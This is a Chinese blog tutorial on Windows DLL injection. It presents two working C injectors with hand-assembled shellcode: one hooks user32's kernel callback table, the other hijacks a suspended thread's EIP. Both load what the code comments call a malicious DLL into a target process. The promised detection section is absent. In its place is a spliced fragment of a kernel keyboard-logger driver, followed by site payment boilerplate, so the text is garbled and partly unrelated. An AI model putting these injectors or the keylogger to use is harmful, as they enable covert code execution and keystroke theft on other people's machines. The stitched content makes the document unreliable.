代码注入之Hook注入

代码注入的核心包含两大关键环节:一是将代码载入目标进程;二是为载入的代码获取执行时机。不同代码注入方式的本质差异,正体现在这两个环节的实现策略上。本文介绍的Hook注入,重点关注 “获取执行时机” 这一环节,通过 hook 手段达成目标;而对于 “载入代码到目标进程” 这一环节,是使用Windows提供的WriteProcessMemory类API将代码和数据写到目标进程,不再多做解释。

一、Hook对象

Hook 对象可以是 IAT(导入地址表)、代码段、内核回调表、IP寄存器(指令指针寄存器) 等。

  • Hook IAT或代码:仅当函数被调用或代码被执行时触发Hook代码,执行时机依赖程序逻辑,可控性较低。
  • Hook内核回调表:user32的内核回调表包含窗口消息处理的相关函数,在窗口进程中调用频率极高,选择高频回调函数可快速获取执行时机。
  • Hook IP寄存器:直接修改线程指令指针寄存器(EIP/RIP),使其指向写入的代码,执行时机确定性最高,线程恢复执行后能立即触发代码执行。

Hook IAT或代码比较常见,下面主要介绍Hook内核回调表Hook IP寄存器这两种注入方式。

二、Hook内核回调表

在介绍消息钩子注入时,我们就提到了内核回调表,消息钩子是通过内核回调表中的__ClientLoadLibrary函数加载dll,以及__fnHk*函数执行钩子函数。内核回调表中还包含了与窗口消息处理相关的其他函数,而窗口进程中消息处理的频率非常高,所以可以通过Hook这些函数,来快速获得执行时机。

user32中的内核回调表

  1. 回调函数选择

Hook操作类似于Inline Hook,先保存寄存器环境,然后执行其他逻辑(比如加载dll),最后恢复寄存器环境,跳向原函数地址继续原始的代码逻辑,所以不需要关心目标函数的功能,我们只是用它来获取执行时机。

选择时,可在调试工具中对回调函数下断点,看看哪个函数断点最快被触发;或者通过调试器脚本,记录一段时间内回调函数的执行次数,筛选出高频函数。

  1. Hook实现方案
  • 直接Hook:直接修改user32中内核回调表中的目标函数的指针,指向注入的代码。
  • Hook备份表:拷贝一份user32的内核回调表,修改备份表中的对应函数,然后修改PEB中内核回调表指针指向备份表。
  1. 示例代码

以直接Hook user32中的 __fnDWORD 函数为例,在Hook代码中去加载恶意dll,注入过程的关键代码为:

int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 3. 准备shellcode
    LoadLibraryA("user32.dll");
    PEB* peb = (PEB*)__readfsdword(0x30);
    PVOID* table = (PVOID*)peb->u3.KernelCallbackTable;
    const uint32_t kIndexOffnDWORD = 2;
    PVOID fnDWORDAddr = table[kIndexOffnDWORD];
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original __fnDWORD
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C); // 系统dll在不同进程中的加载地址一样,所以可以直接使用本进程中的地址计算偏移
    *(uint32_t*)(shellcode + 0x0F) = (uint32_t)fnDWORDAddr - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 4. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 5. 修改 KernelCallbackTable 的属性,以便修改
    DWORD oldProtect = 0;
    VirtualProtectEx(hProcess, &table[kIndexOffnDWORD], sizeof(PVOID), PAGE_EXECUTE_READWRITE, &oldProtect);

    // 6. 修改 KernelCallbackTable 中的 __fnDWORD,指向shellcode,完成hook
    WriteProcessMemory(hProcess, &table[kIndexOffnDWORD], &addr, sizeof(addr), nullptr);

    CloseHandle(hProcess);
    return 0;
}

视频演示:

通过Hook内核回调表注入dll

三、Hook IP寄存器

线程的下一条指令地址存储在IP寄存器(指令指针寄存器,32位为EIP,64位为RIP)中,通过修改该寄存器值,使其指向注入的shellcode,可直接获取执行时机。线程的当前上下文信息中包含了 IP 寄存器的值,所以可以通过 GetThreadContextSetThreadContext 获取和设置IP,注意在此之前需要先暂停线程。

关键代码如下:

HANDLE getFirstThread(uint32_t pid) {
    // 找到目标进程中的线程
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, pid);
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    Thread32First(hThreadSnapshot, &te32)
    do {
        if (te32.th32OwnerProcessID == pid) {
            break;
        }
    } while (Thread32Next(hThreadSnapshot, &te32));
    CloseHandle(hThreadSnapshot);

    // 获取目标线程的句柄
    HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
    return hThread;
}

int main(int argc, char** argv)
{
    uint32_t targetPid = strtoul(argv[1], nullptr, 10);
    char* dllPath = argv[2];

    // 1. 获取目标进程句柄,用于hook
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);

    // 2. 暂停目标进程中的某个线程,获取线程EIP
    HANDLE hThread = getFirstThread(targetPid);
    SuspendThread(hThread);

    CONTEXT context = { 0 };
    context.ContextFlags = CONTEXT_CONTROL;
    GetThreadContext(hThread, &context);

    // 3. 在目标进程中为shellcode申请内存
    const uint32_t kShellcodeSize = 4096;
    uint8_t* addr = (uint8_t*)VirtualAllocEx(hProcess, nullptr, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 4. 准备shellcode
    uint8_t shellcode[kShellcodeSize] = {
        0x60,                         // +00 pushad
        0x9C,                         // +01 pushfd
        0x68, 0x00, 0x00, 0x00, 0x00, // +02 push dllPath
        0xE8, 0x00, 0x00, 0x00, 0x00, // +07 call LoadLibraryA
        0x9D,                         // +0C popfd
        0x61,                         // +0D popad
        0xE9, 0x00, 0x00, 0x00, 0x00, // +0E jmp original EIP
                                      // +13 dllPath
    };
    *(uint32_t*)(shellcode + 3) = (uint32_t)addr + 0x13; // 恶意dll路径
    *(uint32_t*)(shellcode + 8) = (uint32_t)&LoadLibraryA - ((uint32_t)addr + 0x0C);
    *(uint32_t*)(shellcode + 0x0F) = context.Eip - ((uint32_t)addr + 0x13);
    memcpy(shellcode + 0x13, dllPath, strlen(dllPath) + 1);

    // 5. 将shellcode写入目标进程
    WriteProcessMemory(hProcess, addr, shellcode, sizeof(shellcode), nullptr);

    // 6. 修改EIP为shellcode,并恢复线程
    context.Eip = reinterpret_cast<uint32_t>(addr);
    SetThreadContext(hThread, &context);
    ResumeThread(hThread);

    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

视频演示:

通过Hook IP寄存器注入DLL

四、检测与对抗

检测方案

C语言写的ROOT记录器,编译通过了.#include "stdafx.h" #include "ScanCode.h" #include "DriverEntry.h" #include <stdarg.h> const WCHAR *DEVICE_NAME = L"\\Device\\MonkeyKingDeviceName"; const WCHAR *SYMOBL_NAME = L"\\??\\MonkeyKingSymbolicName"; const char *NT_DEVICE_NAME = "\\Device\\KeyboardClass0"; const char *LOG_FILE_NAME = "\\DosDevices\\c:\\MonkeyKing.txt"; int numPendingIrps = 0; /*---------------------------------------------------------------------------------------------------------------------------------------------*/ /************************************************************************ * 函数名称:DriverEntry * 功能描述:初始化驱动程序,定位和申请硬件资源,创建内核对象 * 参数列表: pDriverObject:从I/O管理器中传进来的驱动对象 pRegistryPath:驱动程序在注册表的中的路径 * 返回 值:返回初始化驱动状态 *************************************************************************/ STDAPI_(NTSTATUS) DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING pRegistryPath ) { NTSTATUS retValue = STATUS_SUCCESS; TRACEMSG("初始化例程..."); pDriverObject->DriverUnload = OnUnload; for (INT32 i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++){ pDriverObject->MajorFunction[i] = DispatchHandler; } pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; TRACEMSG("初始化例程...完成"); //创建设备。 TRACEMSG("创建设备..."); PDEVICE_OBJECT pKeyboardDevice = NULL; if (!NT_SUCCESS(retValue = CreateDevice(pDriverObject, &pKeyboardDevice))) { TRACEMSG("创建设备...失败"); return retValue; } TRACEMSG("创建设备...完成。键盘设备对象指针为:0x%x", pKeyboardDevice); //挂接设备。 TRACEMSG("挂接设备..."); if (!NT_SUCCESS(retValue = HookKeyboard(pKeyboardDevice))) { TRACEMSG("挂接设备...失败"); return retValue; } TRACEMSG("挂接设备...完成"); TRACEMSG("初始化线程..."); if (!NT_SUCCESS(retValue = InitThreadLogger(pDriverObject))) { TRACEMSG("初始化线程...失败"); return retValue; } TRACEMSG("初始化线程...完成");
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值